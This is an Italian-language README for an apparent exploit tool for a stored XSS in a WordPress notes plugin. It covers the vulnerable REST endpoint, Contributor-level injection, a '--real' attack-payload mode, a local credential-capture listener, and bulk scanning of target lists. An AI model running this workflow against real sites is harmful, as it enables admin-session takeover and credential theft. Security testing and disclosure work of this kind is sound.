
Strumento autorizzato per la valutazione di XSS persistente per CVE-2026-9271 nel plugin KeepInMind per WordPress. Rileva versioni vulnerabili, inietta payload di test sicuri e supporta la scansione in blocco con reportistica SQLite.
Strumento di valutazione della sicurezza autorizzato per CVE-2026-9271
Autore: Sudeepa Wanigarathna · Strumento: KIM-Guardian Pro v1.0
Script principale: CVE-2026-9271.py

[!IMPORTANTE] Uso autorizzato solo. Questo strumento è per ricerca sulla sicurezza, istruzione e test su sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per usi impropri.
CVE-2026-9271 è un problema di cross-site scripting memorizzato (XSS) nel plugin WordPress KeepInMind (Note della dashboard). Una sanificazione insufficiente del contenuto delle note consente a un utente autenticato con privilegi bassi (Contributore+) di memorizzare HTML/JS che viene eseguito nel browser di un amministratore, il che può portare a compromissione della sessione amministrativa / presa di controllo dell'account.
KIM-Guardian Pro (CVE-2026-9271.py) è uno strumento di valutazione Python per tester autorizzati per:
reports/| Attributo | Valore |
|---|---|
| ID CVE | CVE-2026-9271 |
| Vettore di attacco | Autenticato (Contributore+) → XSS Memorizzato → Impatto Admin |
| Impatto | XSS nel browser admin; possibile presa di controllo dell'account in installazioni vulnerabili |
| Prodotto affetto | WordPress KeepInMind / KeepInMind Dashboard Notes |
| Versioni affette | ≤ 0.8.4.2 (corretto in 0.8.4.3+) |
| Tipo di vulnerabilità | Cross-Site Scripting Memorizzato (XSS) |
| CWE | CWE-79 (Mancata neutralizzazione dell'input durante la generazione di pagine web) |
| Superficie | Ruolo |
|---|---|
/wp-json/keepinmind/v1/notes | API REST usata per creare/leggere note |
/wp-admin/ | Dashboard admin dove le note memorizzate possono essere renderizzate |
| Percorso plugin | /wp-content/plugins/keepinmind-dashboard-notes/ |
--no-cleanup)| Capacità | Descrizione |
|---|---|
| Rilevamento plugin | Controlla i percorsi di installazione di KeepInMind e le stringhe di versione |
| Versione WordPress | Estrae i metadati generator / versione quando disponibili |
| Modalità test sicura | Marcatore overlay predefinito che prova l'XSS senza catturare credenziali |
| Valutazione autenticata | Accede con credenziali Contributore+ per iniezione REST completa |
| Pulizia payload | Rimuove le note iniettate dopo la valutazione |
| Scansione in blocco | Scansione multi-thread di liste URL per plugin + versione vulnerabile |
| Storico SQLite | Memorizza le valutazioni in kim_guardian.db |
| Report di testo | Scrive report con timestamp sotto reports/ |
| Server di cattura | Listener HTTP opzionale locale per esercitazioni di cattura credenziali in laboratorio |
| Interfaccia web | Dashboard Flask opzionale (modalità web) |
| Capacità | Descrizione |
|---|---|
| Logging verbose | Debug su file + console sotto logs/ |
| Supporto proxy | Instradare il traffico attraverso Burp o altri proxy HTTP |
| Timeout configurabile | Timeout per richiesta (predefinito 30s) |
| Pool di worker | Concorrenza regolabile per scansioni in blocco |
pipcd /path/to/exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
# Extra consigliati usati da questo script:
pip install colorama beautifulsoup4 requests flask
python3 CVE-2026-9271.py --help
requests>=2.31.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
flask>=3.0.0 # opzionale — solo modalità web
Sostituisci
https://lab.examplecon un target di laboratorio o autorizzato solo.
# Aiuto / modalità
python3 CVE-2026-9271.py --help
# Valutazione singolo target sicura (predefinito: payload di test)
python3 CVE-2026-9271.py assess https://lab.example \
-u contributore -p 'password' -v
# Scansione blocco versione / plugin
python3 CVE-2026-9271.py bulk -f targets.txt -w 8 -o bulk_results.txt
# Elenca valutazioni recenti da SQLite
python3 CVE-2026-9271.py db --list --limit 20
# Server di cattura locale (solo laboratorio)
python3 CVE-2026-9271.py capture --port 5000
# Interfaccia web opzionale
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
python3 CVE-2026-9271.py --help
python3 CVE-2026-9271.py assess --help
La modalità predefinita usa un overlay di test non catturante. Fornisci credenziali Contributore+ per l'iniezione tramite API REST.
python3 CVE-2026-9271.py assess https://lab.example \
-u contributore \
-p 'password' \
-v
Flusso di lavoro:
-u / -p)--no-cleanup)reports/kim_assessment_*.txtpython3 CVE-2026-9271.py assess https://lab.example \
-u contributore -p 'password' --no-cleanup
python3 CVE-2026-9271.py assess https://lab.example \
-u contributore -p 'password' \
--proxy http://127.0.0.1:8080 \
--timeout 45 \
-v
Richiede un URL base del server di cattura/attaccante e --real. È preferibile mantenere la cattura in localhost per i laboratori.
# Terminale 1 — listener di cattura
python3 CVE-2026-9271.py capture --port 5000
# Terminale 2 — valutazione con endpoint di cattura
python3 CVE-2026-9271.py assess https://lab.example \
-u contributore -p 'password' \
-a http://127.0.0.1:5000 \
--real \
-v
Interfaccia di cattura (quando il server è in esecuzione):
| Percorso | Scopo |
|---|---|
/ | Pagina di stato del server di cattura |
/capture | Endpoint POST per invii di form |
/captured | Voci catturate recenti (revisione laboratorio) |
# targets.txt — un URL per riga
python3 CVE-2026-9271.py bulk -f targets.txt -w 5 -o bulk_scan_results.txt
# Oppure URL separati da virgola
python3 CVE-2026-9271.py bulk -u "https://a.example,https://b.example" -w 3
I controlli in blocco tipicamente includono indizi WordPress, versione KeepInMind, raggiungibilità REST e presenza di wp-login.php.
python3 CVE-2026-9271.py db --list
python3 CVE-2026-9271.py db --list --limit 50
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
Collega a localhost per impostazione predefinita per sicurezza.
| Modalità | Descrizione |
|---|---|
assess | Valutazione KeepInMind su singolo target |
bulk | Scansione multi-target plugin / versione |
capture | Server HTTP locale per cattura credenziali |
web | Interfaccia web Flask opzionale |
db | Elenca valutazioni memorizzate |
assess| Argomento | Predefinito | Descrizione |
|---|---|---|
url | obbligatorio | URL WordPress target |
-u, --username | — | Nome utente WordPress (Contributore+) |
-p, --password | — | Password WordPress |
-a, --attacker | — | URL base server di cattura (simulazione laboratorio) |
-t, --test | on | Preferisci payload di test sicuro |
-r, --real | off | Abilita payload di attacco in laboratorio (necessita --attacker) |
--no-cleanup | off | Lascia le note iniettate al loro posto |
-v, --verbose | off | Logging verbose / debug |
--timeout | 30 | Timeout richiesta (secondi) |
--proxy | — | URL proxy (es. http://127.0.0.1:8080) |
bulk| Argomento | Predefinito | Descrizione |
|---|---|---|
-f, --file | — | File di URL (uno per riga) |
-u, --urls | — | URL separati da virgola |
-w, --workers | 5 | Dimensione pool di thread |
-o, --output | bulk_scan_results.txt | Percorso report |
capture| Argomento | Predefinito | Descrizione |
|---|---|---|
--port | 5000 | Porta di ascolto |
web| Argomento | Predefinito | Descrizione |
|---|---|---|
--host | 127.0.0.1 | Indirizzo di bind |
--port | 8080 | Porta di ascolto |
db| Argomento | Predefinito | Descrizione |
|---|---|---|
--list | off | Elenca valutazioni recenti |
--limit | 10 | Numero massimo di righe da mostrare |
Output colorato per autenticazione, rilevamento plugin, iniezione, verifica e pulizia.
Esecuzioni assess riuscite scrivono file come:
reports/kim_assessment_YYYYMMDD_HHMMSS.txt
| File | Scopo |
|---|---|
kim_guardian.db | Storico valutazioni (target, versioni, flag vulnerabile, rischio, durata) |
| Percorso | Scopo |
|---|---|
logs/kim_pro_*.log | Log applicativi per esecuzione |
| Sintomo | Cosa provare |
|---|---|
| Autenticazione fallita | Conferma credenziali Contributore+; controlla /wp-login.php; usa -v |
| Plugin non rilevato | Verifica percorso/nome KeepInMind; prova modalità verbose |
| Iniezione REST fallisce | Conferma auth + nonce; ispeziona con --proxy tramite Burp |
| Timeout / errori di connessione | Aumenta --timeout; controlla rete / TLS / proxy |
| Nessuna vulnerabilità in modalità test | Conferma versione ≤ 0.8.4.2; assicurati che le note vengano renderizzate per admin |
Flask mancante in modalità web | pip install flask |
| BeautifulSoup mancante | pip install beautifulsoup4 |
python3 CVE-2026-9271.py assess https://lab.example \
-u contributore -p 'password' \
--proxy http://127.0.0.1:8080 \
-v
exploit/
├── CVE-2026-9271.py # KIM-Guardian Pro (v1.0)
├── requirements.txt # Dipendenze Python
├── README.md # Questo file
├── kim_guardian.db # Storico valutazioni SQLite (generato)
├── logs/ # Log di runtime (generati)
├── reports/ # Report di testo valutazioni (generati)
└── venv/ # Virtualenv locale (opzionale)
Questo progetto è fornito così com'è per ricerca sulla sicurezza difensiva e test di penetrazione autorizzati.
Usando questo software accetti che:
Se trovi questo problema in sistemi di produzione che non possiedi, segui la divulgazione responsabile con il proprietario del sito e il manutentore del plugin.
L'accesso non autorizzato a sistemi informatici è illegale.
| Ruolo | Nome |
|---|---|
| Autore dello strumento | Sudeepa Wanigarathna |
| CVE | CVE-2026-9271 |
| Strumento | KIM-Guardian Pro v1.0 |
| Script principale | CVE-2026-9271.py |
| Licenza | Uso educativo / difensivo |
Solo uso educativo / difensivo
Copyright (c) 2026 Sudeepa Wanigarathna
Il permesso è concesso di utilizzare questo software per ricerca sulla sicurezza autorizzata,
istruzione e valutazione difensiva solo.
IL SOFTWARE È FORNITO "COSÌ COM'È", SENZA GARANZIA DI ALCUN TIPO, ESPRESSA O
IMPLICITA, INCLUSE MA NON LIMITATE ALLE GARANZIE DI COMMERCIABILITÀ,
IDONEITÀ PER UNO SCOPO PARTICOLARE E NON VIOLAZIONE.
Solo per test di sicurezza autorizzati.